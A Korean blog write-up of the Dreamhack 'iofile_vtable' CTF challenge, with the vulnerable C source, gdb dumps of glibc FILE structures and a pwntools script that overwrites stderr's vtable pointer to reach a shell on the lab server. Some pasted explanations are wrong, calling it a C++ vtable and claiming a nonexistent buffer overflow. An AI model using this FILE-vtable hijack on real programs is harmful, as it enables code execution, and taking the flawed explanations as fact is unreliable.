Dreamhack/Dreamhack Wargame (Challenge)

[116] IT 비전공자 [dreamhack]iofile_vtable 문제 풀기

imaginefuture-1 2025. 1. 5. 12:02

뚜루루루 퍼너러블~

 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char name[8];
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

void get_shell() {
    system("/bin/sh");
}
int main(int argc, char *argv[]) {
    int idx = 0;
    int sel;

    initialize();

    printf("what is your name: ");
    read(0, name, 8);
    while(1) {
        printf("1. print\n");
        printf("2. error\n");
        printf("3. read\n");
        printf("4. chance\n");
        printf("> ");

        scanf("%d", &sel);
        switch(sel) {
            case 1:
                printf("GOOD\n");
                break;
            case 2:
                fprintf(stderr, "ERROR\n");
                break;
            case 3:
                fgetc(stdin);
                break;
            case 4:
                printf("change: ");
                read(0, stderr + 1, 8);
                break;
            default:
                break;
            }
    }
    return 0;
}

 

 

 

이 코드는 보안 취약점이 있는 간단한 프로그램입니다. 주요 문제는 case 4에서 발생합니다. 여기서 read(0, stderr + 1, 8); 라인이 위험 요소입니다. 이 코드를 기반으로 취약점을 분석하고 익스플로잇 방안을 생각해보겠습니다.


코드 분석

  1. 초기화
    • initialize() 함수는 표준 입출력 버퍼를 제거하고, 60초 타이머를 설정합니다.
    • SIGALRM 신호를 처리하는 핸들러 alarm_handler()가 등록됩니다. 60초 후 프로그램은 종료됩니다.
  2. 이름 입력
    • name 배열에 최대 8바이트를 read로 입력받습니다. 하지만 초과 입력은 막지 못합니다. 이는 버퍼 오버플로우를 일으킬 수 있습니다.
  3. 메뉴
    • 사용자는 메뉴를 통해 1~4번 옵션을 선택할 수 있습니다.
    • case 4에서 stderr + 1을 대상으로 입력을 씁니다. 이는 프로세스의 메모리를 덮어쓸 수 있어 심각한 취약점을 유발합니다.
  4. 쉘 실행
    • get_shell() 함수는 /bin/sh를 실행합니다. 익스플로잇 목표는 이 함수를 실행하는 것입니다.

주요 취약점

  • stderr 조작
    • stderr + 1은 메모리 주소를 조작하여 임의의 메모리를 덮어쓸 수 있게 만듭니다. 이를 통해 프로그램 흐름을 조작하거나, get_shell을 호출하는 데 사용할 수 있습니다.
  • 버퍼 오버플로우
    • name 배열에 입력받을 때 8바이트 이상을 입력하면 메모리를 덮어쓸 가능성이 있습니다.

익스플로잇 개요

  1. 메모리 주소 분석
    • stderr는 표준 C 라이브러리의 전역 변수이며, 고정된 메모리 주소를 가집니다. 이 주소를 덮어씁니다.
    • stderr의 시작 주소에서 오프셋 +1 위치를 덮어쓸 때, 중요한 메모리 주소로 덮어쓸 수 있습니다.
  2. get_shell 실행
    • 프로그램 흐름을 조작하여 get_shell 함수가 실행되도록 해야 합니다.
    • 이를 위해 반환 주소를 get_shell의 주소로 설정합니다.

익스플로잇 방법

1. stderr 주소 확인

  • 로컬 환경에서 GDB를 사용하여 stderr의 주소를 확인합니다.
gdb ./program
break main
run
print &stderr

2. get_shell 주소 확인

  • 동일한 방식으로 get_shell 함수의 주소를 확인합니다.
print &get_shell

3. 페이로드 생성

  • stderr + 1을 덮어써서 반환 주소를 get_shell의 주소로 설정합니다.

4. 실행

  • 페이로드를 입력하여 쉘을 획득합니다.

수정된 코드(취약점 제거)

  1. read 안전성 확보
    • read 사용 시 입력 길이를 엄격히 제한합니다.
    read(0, name, sizeof(name) - 1);
    
  2. stderr 조작 금지
    • stderr와 같은 중요한 변수에 직접 쓰기를 제거합니다.
  3. 권한 격리
    • 프로그램이 중요한 기능을 실행할 때 권한을 제한하거나, 보안 체크를 추가합니다.

요약

이 프로그램은 stderr를 덮어써서 메모리 조작이 가능하다는 취약점을 포함하고 있습니다. 익스플로잇 과정을 통해 get_shell 함수를 호출하여 쉘을 얻을 수 있습니다. 수정하려면 입력 유효성 검사를 강화하고, 민감한 메모리 영역에 대한 쓰기를 금지해야 합니다.

 

 

 


 

 

 

 

https://lactea.kr/entry/pwnable-IOFILE-structure-and-vtable-overwrite

 

[pwnable] - _IO_FILE structure and vtable overwrite

_IO_FILE 리눅스 시스템의 표준 라이브러리에서 파일 스트림을 나타내기 위한 구조체입니다. 이 구조체는 `fopen()`, `fwrite()`, `fclose()` 등 파일 스트림을 사용하는 함수가 호출되었을때 할당 됩니다.

lactea.kr

_IO_FILE
리눅스 시스템의 표준 라이브러리에서 파일 스트림을 나타내기 위한 구조체입니다.

이 구조체는 fopen(), fwrite(), fclose() 등 파일 스트림을 사용하는 함수가 호출되었을때 할당 됩니다.

 

gdp-peda 를 통해 p *_IO_list_all 명령어로 현재 할당된 _IO_FILE 구조체를 볼 수 있습니다. 아래 구조체를 보면 크게 file 과 vtable로 나누어져 있는데, 사실 _IO_FILE의 구조체가 해당되는 변수는 file 입니다.

file과 vtable 변수 2개를 합치면 _IO_FILE_plus 라는 구조체가 됩니다.

 

gdb-peda$ p *_IO_list_all
$4 = {
  file = {
    _flags = 0xfbad2498, 
    _IO_read_ptr = 0x602490 "", 
    _IO_read_end = 0x602490 "", 
    _IO_read_base = 0x602490 "", 
    _IO_write_base = 0x602490 "", 
    _IO_write_ptr = 0x602490 "", 
    _IO_write_end = 0x602490 "", 
    _IO_buf_base = 0x602490 "", 
    _IO_buf_end = 0x603490 "", 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x7ffff7dd0680 <_IO_2_1_stderr_>, 
    _fileno = 0x3, 
    _flags2 = 0x0, 
    _old_offset = 0x0, 
    _cur_column = 0x0, 
    _vtable_offset = 0x0, 
    _shortbuf = "", 
    _lock = 0x602340, 
    _offset = 0xffffffffffffffff, 
    _codecvt = 0x0, 
    _wide_data = 0x602350, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0x0, 
    _mode = 0xffffffff, 
    _unused2 = '\000' <repeats 19 times>
  }, 
  vtable = 0x7ffff7dcc2a0 <_IO_file_jumps>
}

 

 

 

gdb-peda$ start
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.

[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

[----------------------------------registers-----------------------------------]
RAX: 0x40095b (<main>:	push   rbp)
RBX: 0x0 
RCX: 0x400a90 (<__libc_csu_init>:	push   r15)
RDX: 0x7fffffffe018 --> 0x7fffffffe39a ("SHELL=/bin/bash")
RSI: 0x7fffffffe008 --> 0x7fffffffe36f ("/home/jihye/Downloads/iofile/iofile_vtable")
RDI: 0x1 
RBP: 0x7fffffffdef0 --> 0x1 
RSP: 0x7fffffffdef0 --> 0x1 
RIP: 0x40095f (<main+4>:	sub    rsp,0x20)
R8 : 0x7ffff7e1bf10 --> 0x4 
R9 : 0x7ffff7fc9040 (<_dl_fini>:	endbr64)
R10: 0x7ffff7fc3908 --> 0xd00120000000e 
R11: 0x7ffff7fde660 (<_dl_audit_preinit>:	endbr64)
R12: 0x7fffffffe008 --> 0x7fffffffe36f ("/home/jihye/Downloads/iofile/iofile_vtable")
R13: 0x40095b (<main>:	push   rbp)
R14: 0x0 
R15: 0x7ffff7ffd040 --> 0x7ffff7ffe2e0 --> 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40095a <get_shell+16>:	ret    
   0x40095b <main>:	push   rbp
   0x40095c <main+1>:	mov    rbp,rsp
=> 0x40095f <main+4>:	sub    rsp,0x20
   0x400963 <main+8>:	mov    DWORD PTR [rbp-0x14],edi
   0x400966 <main+11>:	mov    QWORD PTR [rbp-0x20],rsi
   0x40096a <main+15>:	mov    rax,QWORD PTR fs:0x28
   0x400973 <main+24>:	mov    QWORD PTR [rbp-0x8],rax
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdef0 --> 0x1 
0008| 0x7fffffffdef8 --> 0x7ffff7c29d90 (<__libc_start_call_main+128>:	mov    edi,eax)
0016| 0x7fffffffdf00 --> 0x0 
0024| 0x7fffffffdf08 --> 0x40095b (<main>:	push   rbp)
0032| 0x7fffffffdf10 --> 0x1ffffdff0 
0040| 0x7fffffffdf18 --> 0x7fffffffe008 --> 0x7fffffffe36f ("/home/jihye/Downloads/iofile/iofile_vtable")
0048| 0x7fffffffdf20 --> 0x0 
0056| 0x7fffffffdf28 --> 0x16c4cff59be5030 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Temporary breakpoint 1, 0x000000000040095f in main ()
gdb-peda$ p stderr
$2 = (FILE *) 0x7ffff7e1b6a0 <_IO_2_1_stderr_>

 

 

 

gdb-peda$ x/32gx 0x7ffff7e1b6a0
0x7ffff7e1b6a0 <_IO_2_1_stderr_>:	0x00000000fbad2086	0x0000000000000000
0x7ffff7e1b6b0 <_IO_2_1_stderr_+16>:	0x0000000000000000	0x0000000000000000
0x7ffff7e1b6c0 <_IO_2_1_stderr_+32>:	0x0000000000000000	0x0000000000000000
0x7ffff7e1b6d0 <_IO_2_1_stderr_+48>:	0x0000000000000000	0x0000000000000000
0x7ffff7e1b6e0 <_IO_2_1_stderr_+64>:	0x0000000000000000	0x0000000000000000
0x7ffff7e1b6f0 <_IO_2_1_stderr_+80>:	0x0000000000000000	0x0000000000000000
0x7ffff7e1b700 <_IO_2_1_stderr_+96>:	0x0000000000000000	0x00007ffff7e1b780
0x7ffff7e1b710 <_IO_2_1_stderr_+112>:	0x0000000000000002	0xffffffffffffffff
0x7ffff7e1b720 <_IO_2_1_stderr_+128>:	0x0000000000000000	0x00007ffff7e1ca60
0x7ffff7e1b730 <_IO_2_1_stderr_+144>:	0xffffffffffffffff	0x0000000000000000
0x7ffff7e1b740 <_IO_2_1_stderr_+160>:	0x00007ffff7e1a8a0	0x0000000000000000
0x7ffff7e1b750 <_IO_2_1_stderr_+176>:	0x0000000000000000	0x0000000000000000
0x7ffff7e1b760 <_IO_2_1_stderr_+192>:	0x0000000000000000	0x0000000000000000
0x7ffff7e1b770 <_IO_2_1_stderr_+208>:	0x0000000000000000	0x00007ffff7e17600
0x7ffff7e1b780 <_IO_2_1_stdout_>:	0x00000000fbad2084	0x0000000000000000
0x7ffff7e1b790 <_IO_2_1_stdout_+16>:	0x0000000000000000	0x0000000000000000
gdb-peda$ p _IO_file_jumps
$3 = {
  __dummy = 0x0,
  __dummy2 = 0x0,
  __finish = 0x7ffff7c8bff0 <_IO_new_file_finish>,
  __overflow = 0x7ffff7c8cdc0 <_IO_new_file_overflow>,
  __underflow = 0x7ffff7c8cab0 <_IO_new_file_underflow>,
  __uflow = 0x7ffff7c8dd60 <__GI__IO_default_uflow>,
  __pbackfail = 0x7ffff7c8f280 <__GI__IO_default_pbackfail>,
  __xsputn = 0x7ffff7c8b600 <_IO_new_file_xsputn>,
  __xsgetn = 0x7ffff7c8b2b0 <__GI__IO_file_xsgetn>,
  __seekoff = 0x7ffff7c8a8e0 <_IO_new_file_seekoff>,
  __seekpos = 0x7ffff7c8e4b0 <_IO_default_seekpos>,
  __setbuf = 0x7ffff7c8a5a0 <_IO_new_file_setbuf>,
  __sync = 0x7ffff7c8a430 <_IO_new_file_sync>,
  __doallocate = 0x7ffff7c7eb10 <__GI__IO_file_doallocate>,
  __read = 0x7ffff7c8b930 <__GI__IO_file_read>,
  __write = 0x7ffff7c8aec0 <_IO_new_file_write>,
  __seek = 0x7ffff7c8a670 <__GI__IO_file_seek>,
  __close = 0x7ffff7c8a590 <__GI__IO_file_close>,
  __stat = 0x7ffff7c8aeb0 <__GI__IO_file_stat>,
  __showmanyc = 0x7ffff7c8f420 <_IO_default_showmanyc>,
  __imbue = 0x7ffff7c8f430 <_IO_default_imbue>
}

 

gdb-peda$ p stderr+1
$4 = (FILE *) 0x7ffff7e1b778 <_IO_2_1_stderr_+216>

 

 

gdb-peda$ x/x 0x7ffff7e1b778
0x7ffff7e1b778 <_IO_2_1_stderr_+216>:	0x00007ffff7e17600
문제를 풀 때에 매우 중요한 점을 얻을 수 있다. read에서 받는 stderr+1은 바로 vtable의 주소이다. (정확히는 _IO_file_jumps의 주소이다.) 그렇다면 read 함수에서는
자신의 구조체 내의 _vtable_offset 값을 _IO_file_jumps에 더해 필요한 함수를 참조할 것이다.
출처 ㅣ https://velog.io/@mm0ck3r/Dreamhack-iofilevtable

 

 

이 문제의 핵심은 C++에서 사용하는 **가상 함수 테이블(vtable)**의 구조와 이를 악용하는 방법에 관한 것입니다. 아래에서 하나씩 설명하겠습니다.


1. vtable의 역할과 구조

vtable은 C++에서 가상 함수를 지원하기 위해 사용하는 구조입니다. 객체가 생성되면 각 객체는 vtable의 포인터를 가지며, vtable은 해당 객체가 호출해야 할 가상 함수들의 주소를 저장합니다.

  • vtable 구조
    • vtable에는 클래스가 제공하는 가상 함수의 주소가 나열되어 있습니다.
    • 객체는 vtable 포인터를 통해 해당 함수들을 호출합니다.

2. 문제의 구조 분석

문제에서 주어진 상황

  1. stderr:
    • stderr는 C 라이브러리의 FILE 구조체 중 하나입니다.
    • FILE 구조체 내부에는 vtable에 해당하는 포인터가 있습니다.
    • stderr의 vtable은 _IO_file_jumps를 가리키고 있습니다.
  2. vtable을 통한 함수 호출:
    • fprintf(또는 fwrite) 같은 함수는 내부적으로 vtable을 통해 호출할 함수를 결정합니다.
    • 이 때, _IO_new_file_xsputn과 같은 함수가 호출됩니다.
    • _IO_new_file_xsputn의 오프셋은 vtable에서 **0x38**입니다.
  3. read를 통해 vtable 주소 변경 가능:
    • 프로그램은 read 시스템 호출을 사용해 입력 데이터를 받아들이며, 이 과정에서 vtable의 주소를 조작할 수 있습니다.

3. Exploit 전략

목표

  1. vtable을 조작해 원하는 함수를 호출하도록 만듭니다.
  2. 악성 함수를 작성하고, 이를 가리키는 주소를 vtable에 삽입합니다.

Exploit 세부 설명

  1. name에 악성 함수 이름 입력:
    • get_shell이라는 함수는 악성 코드로, 이 함수가 호출되면 쉘을 실행합니다.
    • 프로그램은 name 변수에 입력된 데이터를 통해 특정 동작을 수행하므로, 여기에 get_shell의 주소를 삽입합니다.
  2. vtable에 name - 0x38 설정:
    • vtable이 _IO_file_jumps 대신 name - 0x38을 가리키도록 조작합니다.
    • 왜 -0x38이냐면, _vtable_offset이 0x38이므로 함수 호출 시 실제 함수 주소를 계산할 때 자동으로 0x38을 더합니다.
      • *(vtable + _vtable_offset) = get_shell
  3. fwrite로 악성 함수 호출:
    • 이제 fwrite 함수는 원래 _IO_new_file_xsputn을 호출해야 하지만, 조작된 vtable로 인해 get_shell을 호출합니다.

4. Exploit 과정 요약

  1. **name**에 get_shell 함수의 주소를 삽입합니다.
  2. vtable을 조작하여 name - 0x38을 가리키도록 설정합니다.
  3. fwrite(또는 fprintf)를 호출하여 _vtable_offset에 의해 get_shell을 실행합니다.

5. 핵심 포인트

  • vtable은 함수 주소 테이블이며, 이를 조작하면 원하는 함수를 실행할 수 있습니다.
  • _vtable_offset은 vtable 주소에 추가적인 오프셋을 더하여 특정 함수의 주소를 계산합니다.
  • 이를 이용해 vtable 조작 → 악성 함수 호출 → 쉘 실행이라는 exploit이 가능합니다.

궁금한 점이 있으면 더 알려주세요! 🚀

 


 

 

from pwn import *

# p = process('./iofile_vtable')
p = remote('host1.dreamhack.games', 13697)
context.log_level='debug'
e=ELF("./iofile_vtable")


get_shell = 0x40094a
fake__xsputn = 0x6010d0-0x38

p.sendlineafter(b"what is your name: ", p64(get_shell))
pause()

p.sendlineafter(b"> ", b"4")
p.sendlineafter(b"change: ", p64(fake__xsputn))
p.sendlineafter(b"> ", b"2")

p.interactive()